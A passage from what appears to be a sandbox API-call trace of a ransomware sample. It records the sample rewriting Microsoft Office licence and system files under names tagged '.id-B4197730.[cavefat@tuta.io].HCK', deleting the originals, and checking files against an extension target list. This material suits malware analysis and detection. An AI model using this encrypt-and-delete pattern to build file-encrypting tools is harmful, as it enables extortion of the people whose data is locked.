dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.960] SetEndOfFile (hFile=0x56c) returned 1 [0244.962] CloseHandle (hObject=0x56c) returned 1 [0244.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms")) returned 1 [0245.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0245.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0245.183] lstrlenW (lpString=".doc") returned 4 [0245.183] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.183] lstrlenW (lpString=".docx") returned 5 [0245.183] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.183] lstrlenW (lpString=".pdf") returned 4 [0245.183] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.183] lstrlenW (lpString=".xls") returned 4 [0245.183] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.183] lstrlenW (lpString=".xlsx") returned 5 [0245.183] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.183] lstrlenW (lpString=".ppt") returned 4 [0245.183] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0245.183] lstrlenW (lpString=".zip") returned 4 [0245.183] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.183] lstrlenW (lpString=".rar") returned 4 [0245.183] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.183] lstrlenW (lpString=".bz2") returned 4 [0245.183] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.183] lstrlenW (lpString=".7z") returned 3 [0245.183] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0245.183] lstrlenW (lpString=".dbf") returned 4 [0245.183] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0245.183] lstrlenW (lpString=".1cd") returned 4 [0245.183] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0245.183] lstrlenW (lpString=".jpg") returned 4 [0245.183] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0245.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0245.184] lstrlenW (lpString=".doc") returned 4 [0245.184] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.184] lstrlenW (lpString=".docx") returned 5 [0245.184] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.184] lstrlenW (lpString=".pdf") returned 4 [0245.184] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.184] lstrlenW (lpString=".xls") returned 4 [0245.184] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.184] lstrlenW (lpString=".xlsx") returned 5 [0245.184] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.184] lstrlenW (lpString=".ppt") returned 4 [0245.184] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0245.184] lstrlenW (lpString=".zip") returned 4 [0245.184] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.184] lstrlenW (lpString=".rar") returned 4 [0245.184] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.184] lstrlenW (lpString=".bz2") returned 4 [0245.184] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.184] lstrlenW (lpString=".7z") returned 3 [0245.184] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0245.184] lstrlenW (lpString=".dbf") returned 4 [0245.184] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0245.184] lstrlenW (lpString=".1cd") returned 4 [0245.184] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82 [0245.184] lstrlenW (lpString=".jpg") returned 4 [0245.184] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.184] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0245.184] lstrlenW (lpString="O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 37 [0245.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0245.185] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11635) returned 1 [0245.185] CloseHandle (hObject=0x558) returned 1 [0245.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms")) returned 0x220 [0245.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0245.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0245.186] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.186] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428 [0245.187] GetLastError () returned 0x0 [0245.187] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2d73, lpOverlapped=0x0) returned 1 [0245.188] WriteFile (in: hFile=0x428, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0245.189] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0245.189] WriteFile (in: hFile=0x428, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11e, lpOverlapped=0x0) returned 1 [0245.189] SetEndOfFile (hFile=0x428) returned 1 [0245.189] CloseHandle (hObject=0x428) returned 1 [0245.190] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.190] SetEndOfFile (hFile=0x558) returned 1 [0245.192] CloseHandle (hObject=0x558) returned 1 [0245.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0245.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms")) returned 1 [0245.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0245.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0245.970] lstrlenW (lpString=".doc") returned 4 [0245.970] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.970] lstrlenW (lpString=".docx") returned 5 [0245.970] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.970] lstrlenW (lpString=".pdf") returned 4 [0245.970] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.970] lstrlenW (lpString=".xls") returned 4 [0245.970] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.970] lstrlenW (lpString=".xlsx") returned 5 [0245.970] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.970] lstrlenW (lpString=".ppt") returned 4 [0245.970] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0245.970] lstrlenW (lpString=".zip") returned 4 [0245.970] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.970] lstrlenW (lpString=".rar") returned 4 [0245.970] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.970] lstrlenW (lpString=".bz2") returned 4 [0245.970] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.970] lstrlenW (lpString=".7z") returned 3 [0245.970] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0245.970] lstrlenW (lpString=".dbf") returned 4 [0245.970] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0245.970] lstrlenW (lpString=".1cd") returned 4 [0245.970] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0245.970] lstrlenW (lpString=".jpg") returned 4 [0245.970] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0245.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0245.971] lstrlenW (lpString=".doc") returned 4 [0245.971] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0245.971] lstrlenW (lpString=".docx") returned 5 [0245.971] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0245.971] lstrlenW (lpString=".pdf") returned 4 [0245.971] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0245.971] lstrlenW (lpString=".xls") returned 4 [0245.971] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0245.971] lstrlenW (lpString=".xlsx") returned 5 [0245.971] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0245.971] lstrlenW (lpString=".ppt") returned 4 [0245.971] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0245.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0245.971] lstrlenW (lpString=".zip") returned 4 [0245.971] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0245.971] lstrlenW (lpString=".rar") returned 4 [0245.971] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0245.971] lstrlenW (lpString=".bz2") returned 4 [0245.971] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0245.971] lstrlenW (lpString=".7z") returned 3 [0245.971] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0245.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0245.971] lstrlenW (lpString=".dbf") returned 4 [0245.971] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0245.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0245.971] lstrlenW (lpString=".1cd") returned 4 [0245.971] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0245.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0245.971] lstrlenW (lpString=".jpg") returned 4 [0245.971] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0245.971] lstrlenW (lpString=".id-") returned 4 [0245.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x558ac0 | out: hHeap=0x4f0000) returned 1 [0245.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5806c8 | out: hHeap=0x4f0000) returned 1 [0245.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5c5230 | out: hHeap=0x4f0000) returned 1 [0245.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0048 | out: hHeap=0x4f0000) returned 1 [0245.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39c3020 | out: hHeap=0x4f0000) returned 1 [0245.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x558a48 | out: hHeap=0x4f0000) returned 1 [0245.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x40d9d90 [0245.976] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x40d9d90, Size=0x20) returned 0x40eb198 [0245.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x40d9ef8 [0245.976] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x40d9ef8, Size=0x20) returned 0x40eb4b8 [0245.976] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0245.976] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0245.976] Wow64DisableWow64FsRedirection (in: OldValue=0x2d1ff50 | out: OldValue=0x2d1ff50*=0x1) returned 1 [0245.976] lstrlenW (lpString="kernel32.dll") returned 12 [0245.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40eb4b8 | out: hHeap=0x4f0000) returned 1 [0245.976] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0245.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40eb198 | out: hHeap=0x4f0000) returned 1 Thread: id = 320 os_tid = 0xd3c [0224.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x38d0930 [0224.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x38e0938 [0224.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558a60 [0224.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x5806d8 [0224.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558ad8 [0224.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3ad5020 [0224.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558af0 [0224.116] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x558af0, Size=0x20) returned 0x52f090 [0224.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558af0 [0224.116] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x558af0, Size=0x20) returned 0x52f108 [0224.116] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0224.116] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0224.116] Wow64DisableWow64FsRedirection (in: OldValue=0x2e5ff50 | out: OldValue=0x2e5ff50*=0x0) returned 1 [0224.116] lstrlenW (lpString="kernel32.dll") returned 12 [0224.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f090 | out: hHeap=0x4f0000) returned 1 [0224.117] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0224.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f108 | out: hHeap=0x4f0000) returned 1 [0224.117] Sleep (dwMilliseconds=0x64) [0224.305] Sleep (dwMilliseconds=0x64) [0224.519] Sleep (dwMilliseconds=0x64) [0224.826] lstrcmpiW (lpString1=".LOG1", lpString2=".HCK") returned 1 [0224.826] lstrlenW (lpString="BCD.LOG1") returned 8 [0224.826] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0225.097] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=0) returned 1 [0225.097] CloseHandle (hObject=0x438) returned 1 [0225.098] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0225.098] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0225.098] lstrlenW (lpString=".doc") returned 4 [0225.098] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0225.098] lstrlenW (lpString=".docx") returned 5 [0225.098] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0225.098] lstrlenW (lpString=".pdf") returned 4 [0225.098] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0225.098] lstrlenW (lpString=".xls") returned 4 [0225.098] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0225.098] lstrlenW (lpString=".xlsx") returned 5 [0225.098] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0225.098] lstrlenW (lpString=".ppt") returned 4 [0225.098] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0225.098] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0225.098] lstrlenW (lpString=".zip") returned 4 [0225.098] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0225.098] lstrlenW (lpString=".rar") returned 4 [0225.098] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0225.098] lstrlenW (lpString=".bz2") returned 4 [0225.098] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0225.098] lstrlenW (lpString=".7z") returned 3 [0225.098] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0225.098] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0225.098] lstrlenW (lpString=".dbf") returned 4 [0225.098] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0225.098] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0225.098] lstrlenW (lpString=".1cd") returned 4 [0225.098] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0225.098] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0225.098] lstrlenW (lpString=".jpg") returned 4 [0225.098] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0225.098] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0225.098] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0225.098] lstrlenW (lpString=".doc") returned 4 [0225.098] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0225.098] lstrlenW (lpString=".docx") returned 5 [0225.098] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0225.098] lstrlenW (lpString=".pdf") returned 4 [0225.098] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0225.098] lstrlenW (lpString=".xls") returned 4 [0225.098] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0225.098] lstrlenW (lpString=".xlsx") returned 5 [0225.098] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0225.098] lstrlenW (lpString=".ppt") returned 4 [0225.098] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0225.098] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0225.098] lstrlenW (lpString=".zip") returned 4 [0225.098] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0225.098] lstrlenW (lpString=".rar") returned 4 [0225.098] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0225.098] lstrlenW (lpString=".bz2") returned 4 [0225.099] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0225.099] lstrlenW (lpString=".7z") returned 3 [0225.099] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0225.099] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0225.099] lstrlenW (lpString=".dbf") returned 4 [0225.099] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0225.099] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0225.099] lstrlenW (lpString=".1cd") returned 4 [0225.099] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0225.099] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0225.099] lstrlenW (lpString=".jpg") returned 4 [0225.099] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0225.099] lstrcmpiW (lpString1=".sys", lpString2=".HCK") returned 1 [0225.099] lstrlenW (lpString="hiberfil.sys") returned 12 [0225.099] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.099] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0225.099] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0225.099] lstrlenW (lpString=".doc") returned 4 [0225.099] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0225.099] lstrlenW (lpString=".docx") returned 5 [0225.099] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0225.099] lstrlenW (lpString=".pdf") returned 4 [0225.099] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0225.099] lstrlenW (lpString=".xls") returned 4 [0225.099] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0225.099] lstrlenW (lpString=".xlsx") returned 5 [0225.099] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0225.099] lstrlenW (lpString=".ppt") returned 4 [0225.099] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0225.099] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0225.099] lstrlenW (lpString=".zip") returned 4 [0225.099] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0225.099] lstrlenW (lpString=".rar") returned 4 [0225.099] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0225.099] lstrlenW (lpString=".bz2") returned 4 [0225.099] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0225.099] lstrlenW (lpString=".7z") returned 3 [0225.099] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0225.100] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0225.100] lstrlenW (lpString=".dbf") returned 4 [0225.100] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0225.100] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0225.100] lstrlenW (lpString=".1cd") returned 4 [0225.100] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0225.100] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0225.100] lstrlenW (lpString=".jpg") returned 4 [0225.100] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0225.100] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0225.100] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0225.100] lstrlenW (lpString=".doc") returned 4 [0225.100] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0225.100] lstrlenW (lpString=".docx") returned 5 [0225.100] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0225.100] lstrlenW (lpString=".pdf") returned 4 [0225.100] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0225.100] lstrlenW (lpString=".xls") returned 4 [0225.100] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0225.100] lstrlenW (lpString=".xlsx") returned 5 [0225.100] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0225.100] lstrlenW (lpString=".ppt") returned 4 [0225.100] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0225.100] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0225.100] lstrlenW (lpString=".zip") returned 4 [0225.100] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0225.100] lstrlenW (lpString=".rar") returned 4 [0225.100] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0225.100] lstrlenW (lpString=".bz2") returned 4 [0225.100] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0225.100] lstrlenW (lpString=".7z") returned 3 [0225.100] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0225.100] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0225.100] lstrlenW (lpString=".dbf") returned 4 [0225.100] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0225.100] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0225.100] lstrlenW (lpString=".1cd") returned 4 [0225.100] lstrcmpiW 